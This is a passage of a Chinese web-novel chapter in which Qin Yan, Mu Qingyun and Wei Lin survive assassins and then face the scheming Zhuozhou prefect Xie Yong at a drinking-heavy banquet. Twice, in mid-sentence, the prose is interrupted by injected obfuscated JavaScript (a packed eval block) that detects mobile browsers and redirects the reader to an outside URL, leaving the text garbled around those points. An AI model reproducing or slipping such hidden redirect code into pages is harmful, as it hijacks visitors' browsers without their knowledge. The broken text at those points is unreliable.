秦砚本就睡得浅，听见动静的瞬间便从床上弹了起来。 “有刺客？！” 他心头剧跳，来不及多想，披上外袍冲出门，一路狂奔向穆卿云的院子。 刀剑交击声越来越近，有火光在远处晃动。秦砚跑得跌跌撞撞，满脑子都是“保护穆小姐”。 “穆小姐！” 他一脚踹开院门，冲进屋里—— 然后愣住。 穆卿云端坐在桌边，手里捧着一盏茶，神色平静得像是在自家后花园赏月。 知微站在她身侧，手里握着一把短剑，看起来倒是比自家主子紧张得多。 听见动静，穆卿云抬眸看他，微微挑眉。 “秦大人？你怎么过来了？” 秦砚喘着粗气，额上全是汗：“我……外面有刺客，我来保护你！” 穆卿云上下看了看他。 衣衫不整，头发散乱，脚上连鞋都没穿好，光着一只脚踩在地上，另一只脚套着只快掉下来的布鞋。 这副模样，说是来逃难的还差不多。 她忍不住弯了弯唇角：“秦大人先把衣服穿好吧。” 秦砚这才发现自己有多狼狈，由于起床匆忙，衣襟大敞着，大片胸口都袒露在外，他连忙转过身去系紧衣带，耳根红得滴血。 “别怕。” 穆卿云没有半分慌乱，语气轻柔得像在哄孩子，“卫凛在外头，刺客进不来的。” 虽说有她这句话，但秦砚到底还是头一回经历这等刀光剑影的阵仗，尤其是此刻听着外面此起彼伏的厮杀声，悬着的心还是怎么也放不下来。 穆卿云把自己那盏还没动过的茶推到他面前：“喝口茶，压压惊。” 秦砚听话地端起茶盏，抿了一口，滚烫的液体滑入喉中，终于让他找回了几分安定。 “小姐，你……不怕吗？” 穆卿云沉默片刻，笑了笑。 “怕啊。可是怕有什么用？”她偏头看向窗外，“从小到大，这种场面我见得多了。习惯了，也就不那么怕了。” 秦砚心头一震，这才意识到，作为相府真正的掌权人，穆卿云看似柔弱温婉，定然也经历过无数风雨与暗潮。像这样危机四伏的时刻，她早已司空见惯，所以才会这么镇定。 最初的震惊过后，难以言喻的心疼又涌上心头。 拖着病弱之躯操劳大小事务，还要时刻提防着突如其来的明枪暗箭。 她这短短的二十一年光阴，到底经历了多少常人难以承受的磨难和煎熬？ 天色微明时，卫凛坐在廊下的栏杆上，用侍卫递来的锦布擦了擦身上脸上沾染到的血迹。 院子里整整齐齐摆放着十七具黑衣刺客的尸体，暗红的血迹在地上聚成一滩刺目的水洼。 知微扶着穆卿云从院子里出来，看见门外这血腥场面，也下意识地蹙紧眉尖，轻轻偏过了头。 秦砚已经回屋重新穿好了衣裳，此时也站在穆卿云身边，脸色苍白。 卫凛收刀归鞘，从栏杆上跳下来，走到穆卿云身边道：“一共十七个刺客，全部毙命。咱们这边有五人受了些皮肉轻伤，都已妥善包扎，无性命之忧。” 穆卿云点点头，俯下身仔细查看尸体上的伤痕和衣着，问：“没有留下活口吗？” “原本是抓了一个的……” 卫凛耸了耸肩膀，“但是那人舌下藏了毒，我还没问几句呢，他就咬破毒囊自尽了。” 穆卿云看完尸体，又走到一旁去看地上那堆缴获的兵器。 “这群人虽然兵器制式混杂，但靴底沾有只有京畿皇庄才有的特殊红泥。看来幕后之人来自京城，且手眼通天，势力远比我们想象中的还要大。” 她语气平淡，似乎早有预料，“钦差仪仗刚走出京城地界他们就敢动手……要么就是背后有人撑腰，能帮他们脱罪免罚，要么就是我们这支查案的队伍，已经让他们起了忌惮之心，不惜铤而走险也要将我们截杀在半路。” 卫凛上前一步沉声问她：“那我们该怎么办？” 穆卿云抬眼望向晨光熹微下，往北延伸的官道：“那就得加快速度，先去会会这位深藏不露的涿州刺史了。” 车队一连行进了十日，终于进入了涿州地界。 途经码头，穆卿云掀开车帘一角，静静观察着河面上的繁忙景象。 漕船如织，往来商贾不断，还真是个四通八达，藏污纳垢的好地方。 涿州刺史谢永得了消息，一早便带着人在城外官道上候驾。 远远看见钦差仪仗的旗帜，他立刻满脸堆笑，躬身行礼。 “下官涿州刺史谢永，恭迎钦差大人，卫将军！” 卫凛连马都没下，懒懒地扬了扬下巴，当做打招呼。 秦砚走下马车整理了一下衣袍，上前还礼：“谢大人客气了，有劳谢大人远迎。” “哪里哪里，都是下官分内之事。钦差大人一路辛苦，驿站已经打扫干净，几位大人先安顿下来，晚上下官在城中设宴，为几位大人接风洗尘！” 说话间，谢永忍不住往那辆素帷雅致的马车上瞟了一眼。 车帘紧闭，什么都看不见。 秦砚侧身一步挡住他的视线，不动声色道：“穆小姐身体不适，不便下车，还望大人见谅。” 早就听说，相府千金体弱多病，素来深居简出，不见外人。如今看来，传言果然不假。 谢永眼珠一转，连连点头：“那是，那是，自然是小姐身子要紧。一路奔波辛苦了，诸位大人请随我进城吧。” 卫凛懒得跟他们这般做表面功夫，直接一夹马腹，率先策马进了城。 秦砚没有继续坐车，而是从侍卫手中接过一匹马，翻身上马，随着队伍缓缓进城。 涿州城比他想象中热闹。 街道宽阔，商铺林立，往来商贾络绎不绝。 他一边控马缓行，一边暗暗观察四周。 店铺招牌簇新，路面平整干净，一切看似井井有条，毫无破绽。但从谢永那副殷勤过头的做派来看，城里恐怕也早已经被清扫过一遍，所有可能露馅的痕迹大概都已经处理干净。 正想着，马车窗棂忽然被轻轻敲响。 秦砚催马靠近，俯身侧耳：“小姐？” “咳……”穆卿云轻咳一声，声音隔着帘子传来，“注意留意街边往来的闲汉和暗哨。。” 秦砚一愣，目光扫向街边。 茶棚下站着几个短打装扮的汉子，看似寻常路人，眼神却频频往车队打量，脚步散漫，却始终不远不近跟着。 他立刻就明白了穆卿云的用意，打起了十二分的精神，低声应道：“知道了。” 驿馆很快到了。 谢永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534503|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷勤地忙前忙后，安排人搬运行李，安置随从，嘴里还不停念叨着晚上宴席的安排。 卫凛抱着刀往门口一站，直接把人拦了下来。 “谢大人。” 谢永一愣，搓着手弓腰上前：“卫将军有何吩咐？” 卫凛面无表情：“我们安顿好之后，会派人去通知你。在这之前……” 他往后退了一步，挡在驿馆门口。 “大人就别往里凑了。” 谢永脸上的笑容僵了一瞬，嘴角抽了抽，但转瞬又恢复如常。 “是是是，卫将军说得对，钦差大人一路辛苦，是该好好休息。下官就在外头候着，几位大人准备好了随时吩咐！” 他连连点头，笑呵呵地退后几步，站到了驿馆大门外。转身的那一刻，脸上的笑容瞬间垮了下来。 “什么东西……” 马车终于在驿馆院子里停下。 知微掀开车帘，小心翼翼地扶着穆卿云下车。 秦砚早已候在一旁，伸手接住她递来的手。 穆卿云身子本就虚弱，又在马车上颠簸了数十日，双腿早已麻木。落地的瞬间，膝头猛地一软，身体向前倾去，但立刻就被秦砚接住了。 “小姐当心。” 被带着药香的气息扑了满怀，秦砚心里的担忧却压过了那点微不可察的悸动。 他伸手揽过穆卿云的肩膀，用身体支撑着她站稳。 穆卿云缓了缓神，轻轻借力，重新站直，对秦砚低声颔首：“失礼了。” 卫凛一进来就看见两人搂抱在一起，脸色顿时不太好看，立刻上前挤开秦砚，紧张兮兮地问：“怎么了？是不是身子不舒服？要不要找大夫来看看？” “无妨，只是在马车上坐太久了，一时腿脚发麻而已。” 穆卿云退了半步，理了理衣袖，“一路辛苦，先回房休整一下吧。” 半个时辰后，稍稍安顿的几人重新聚在穆卿云的房间。 穆卿云刚喝了药，房间里还有股残留的苦涩药味。 秦砚满眼担忧地看着她：“真的没事吗？有任何不适都要告诉我，千万别逞强。” “不会。”穆卿云摇摇头，对他露出一个安抚的笑。 卫凛抱臂站在一旁，有些不耐烦：“一会儿的接风宴怎么办？那谢永还在驿馆外头等着呢。” 穆卿云摇摇头：“我就不去了，你们去应付一下就好。” “我也不去，”卫凛撇撇嘴，不屑道，“去了又是推杯换盏，敬酒奉承那一套，我才懒得跟他们打官腔。” 秦砚看看他，又看看她：“……” 穆卿云轻笑：“这是个打探谢永底细的好机会，秦大人好好把握。” 她都这么说了，秦砚也只好应下：“好，我一个人去便是。” 转身要走时，穆卿云又叫住他，叮嘱道：“秦大人，出门在外，当着那些地方官的面，秦大人不能再唤我小姐，应该唤我夫人。” 今日在城门口时，秦砚脱口而出一句“穆小姐”，若是那谢永有心留意，此刻心里应该就有了计较，往后还是要更加谨慎才行。 “夫……夫人？” 秦砚瞪大眼睛，差点咬了自己的舌头。 穆卿云笑了笑，提醒道：“跟这群老狐狸打交道，稍有不慎就会被捏住把柄，务必要处处谨慎，记住了吗？” “记，记住了。” 光是想象了一下当着众人的面唤她夫人的场景，秦砚就已经忍不住红了耳根。 一旁的卫凛翻了个白眼，上前一巴掌拍在他肩上：“做戏也得做全套，逢场作戏懂不懂？” 秦砚被他拍得一个踉跄，耳根更红了。 19. 第 19 章 接风宴设在涿州城中最气派的酒楼，整层都被谢永包了下来。 秦砚一进门，就被眼前的阵仗惊了一瞬。 满桌珍馐，山珍海错，光是冷盘就摆了十二碟。 涿州一众官员等候多时，一见谢永带着秦砚进来，所有人齐刷刷起身。 “秦大人快请上座！” “今晚是给钦差大人接风，务必尽兴，不醉不归！” 谢永躬身哈腰，一路将他引到主位旁，“秦大人一路风尘仆仆，下官略备薄酒，不成敬意，还望大人海涵。” 秦砚推辞不过，只得在主位落座。刚坐下，谢永便使了个眼色，旁边立刻有人上前斟酒。 “来，秦大人，下官先敬您一杯！”谢永举起酒杯，“一路辛苦，这杯酒给您洗尘！” 秦砚端起酒杯，浅抿一口便要放下。 谢永却笑着按住他的手：“秦大人，这第一杯可得干了才是。咱们涿州的规矩，接风酒不干，就是不给我谢某面子。” 话说到这份上，秦砚只好仰头饮尽。 这酒烈得很，入口如刀，一杯下去，辛辣的酒气直冲天灵盖，呛得他眼眶泛红。 谢永看在眼里，拎起茶壶给他斟了杯茶。 “秦大人年纪轻轻便高中状元，被丞相大人青眼有加，如今又奉旨巡查，当真是年少有为，前途无量啊！” “大人过誉了。” 秦砚抿了口茶，这才终于压下喉间酒气，谈起正事，“谢大人，其实……我有一事请教。” 谢永笑容不变：“秦大人请讲。” “我听说幽州灾情严重，不少流民四散逃难。涿州离幽州最近，可曾受到影响？” 谢永笑得一脸坦荡：“大人放心，幽州是幽州，涿州是涿州，两不相干。我涿州境内风调雨顺，百姓安居乐业，一切都安稳如常。” 秦砚没有被他糊弄过去，继续追问：“可我沿途听说，有不少幽州流民，为避灾逃难，已进入涿州境内？” 这话一出，席间瞬间安静了一瞬。 谢永执壶的手微微一顿，马上又恢复自然，轻描淡写地道：“确有零星几户逃难而来，不过下官早已下令，悉数妥善安置，衣食住行皆有照料，绝无冻饿流离之事，大人不必挂心。” 秦砚点点头，心里却半点不信：“既是如此，那我明日想亲自去安置点看一看，心中有数，到时候也好回京复命。不知大人方不方便？” “方便！怎会不方便？” 谢永握着酒杯的手指微微收紧，侧头与身旁一名官员飞快交换了个眼色。 “秦大人心系百姓，下官佩服！明日下官便亲自陪同，带大人前往视察！” “那就好，”秦砚点点头，“那就有劳大人了。” “秦大人客气。” 谢永抚掌大笑，又朝众人使了个眼色，“都愣着干什么？还不快敬钦差大人！” 一时间，七八个官员轮番上前，举杯的举杯，奉承的奉承。 “秦大人年轻有为，真是我辈楷模！” “听说秦大人是新科状元？那学问定然是极好的！有机会定要向大人好好请教！” “秦大人此番奉旨巡查，定能造福百姓，下官钦佩！这杯酒，您一定得喝！” 秦砚推辞不过，只好一杯接一杯地喝下去。 推杯换盏间，酒意渐浓，头脑开始发昏，眼神也渐渐有些涣散。 酒过三巡，谢永见秦砚已有些许醉意，趁机凑近勾住他的肩膀，压低声音道：“秦大人，我们涿州虽比不得崇安城的繁华，但胜在民风淳朴，风光秀丽。大人难得来一趟，可得多留几日，让在下好好尽尽地主之谊！” 秦砚忽然想起穆卿云的脸，心中警铃大作，摆摆手道：“谢大人好意……在下心领了，但是要务在身，还是不便久留。” 旁边几个官员见状，立刻跟着起哄。 “我们涿州虽小，风景却好，明日我带大人去城外逛逛！那儿的山水，可比京城有野趣多了！” “还有我们这儿的特产，漕运来的新鲜鱼虾，别处可吃不着！” 秦砚被众人围在中间，退无可退。 谢永的酒杯抵在他唇边，旁边几只手举着酒壶，随时准备添上。他张了张嘴想说什么，却被一杯酒直接灌了进去。 “好！哈哈哈……秦大人海量！” 驿馆里。 看完暗桩发来的密信，穆卿云神色淡淡，抬手把信纸丢进炭盆。 知微连忙上前，把跃动着火苗的炭盆挪远了些，劝道：“小姐，时候不早了，奴婢服侍您歇息吧？” 穆卿云揉了揉眉心，问：“秦大人回来了吗？” “还没呢，”知微看了眼窗外，“刚刚派人去看过一眼，说是酒宴正酣，恐怕还要些时辰呢。” “他涉世未深，一个人恐怕应付不来那群老狐狸。” 早知道就不该让他一个人去，穆卿云有些担心，“要不，让卫凛去……” 话音未落，房门忽然被用力砸了几下，把知微吓了一跳。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538874|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐……嗝……我回来了！我有……嗝……有要事跟你禀报……” 听出是秦砚的声音，穆卿云让知微上前打开房门。 浓烈的酒气扑面而来，知微看着门外站得东倒西歪的人，忍不住道：“这是喝了多少啊？都醉成这样了。” 秦砚伸出一根手指晃了晃，“一……一点点。” 知微拧紧眉毛，扭头看向穆卿云：“小姐。” 穆卿云叹了口气：“莫要声张，去让厨房煮碗醒酒汤来。” 秦砚晕晕乎乎走到桌前坐下，只觉得胸口处燃着一把火，烧得他口干舌燥，浑身发热。 穆卿云倒了杯茶水放在他面前，问道：“秦大人跟那群官员打了个照面，可是有什么发现？” 秦砚一口喝完茶水，撂下酒杯，神秘兮兮地凑近穆卿云。 “大……大发现！” “哦？说来听听。” 穆卿云眼里浮起些许笑意，觉得这个样子的秦砚，没有了平日里的拘谨和小心翼翼，倒显得有些朴实可爱。 “我发现……那个谢永，”秦砚眯着眼睛，压低声音，“肯定是个大贪官！” 穆卿云做出惊讶状，配合地问：“何以见得？” “今晚那宴席上……有一道红焖熊掌，那么大的一只！” 秦砚忽然站起身，抡圆了手臂，比划了一个夸张的圆圈。 “就连宫里御膳房都未必舍得这么吃，他们却……嗝……司空见惯，不是贪墨得来的，还能是什么？” 穆卿云点点头：“有道理。那幽州流民的事情，你打探过了吗？” “当然！” 秦砚得意地拍拍胸脯，“那群人一看就是心里有鬼，还想……还想把我灌醉了……嗝……糊弄过去……” “没门！” 他忽然又提高嗓门，一惊一乍的，“明日我就要亲自去看看，他们休想瞒过我的眼睛！” 穆卿云弯了弯唇角，心里大概有了数。 “一会儿我让知微把醒酒汤送到大人房间，喝过之后，早点歇息吧，明日还有的忙。” 秦砚即便醉得再晕乎，也听出她是在下逐客令了。 于是他撑着桌面摇摇晃晃站起身，动作极慢地往外挪动。 “那我回房了，你……你也早点歇息。” 他一步三晃地走到门口，在即将关门的刹那，忽然壮着胆子补了一句：“……夫人。” 穆卿云挑起眉梢，惊讶地抬眸望去，看见那人落荒而逃的背影，不禁哑然失笑。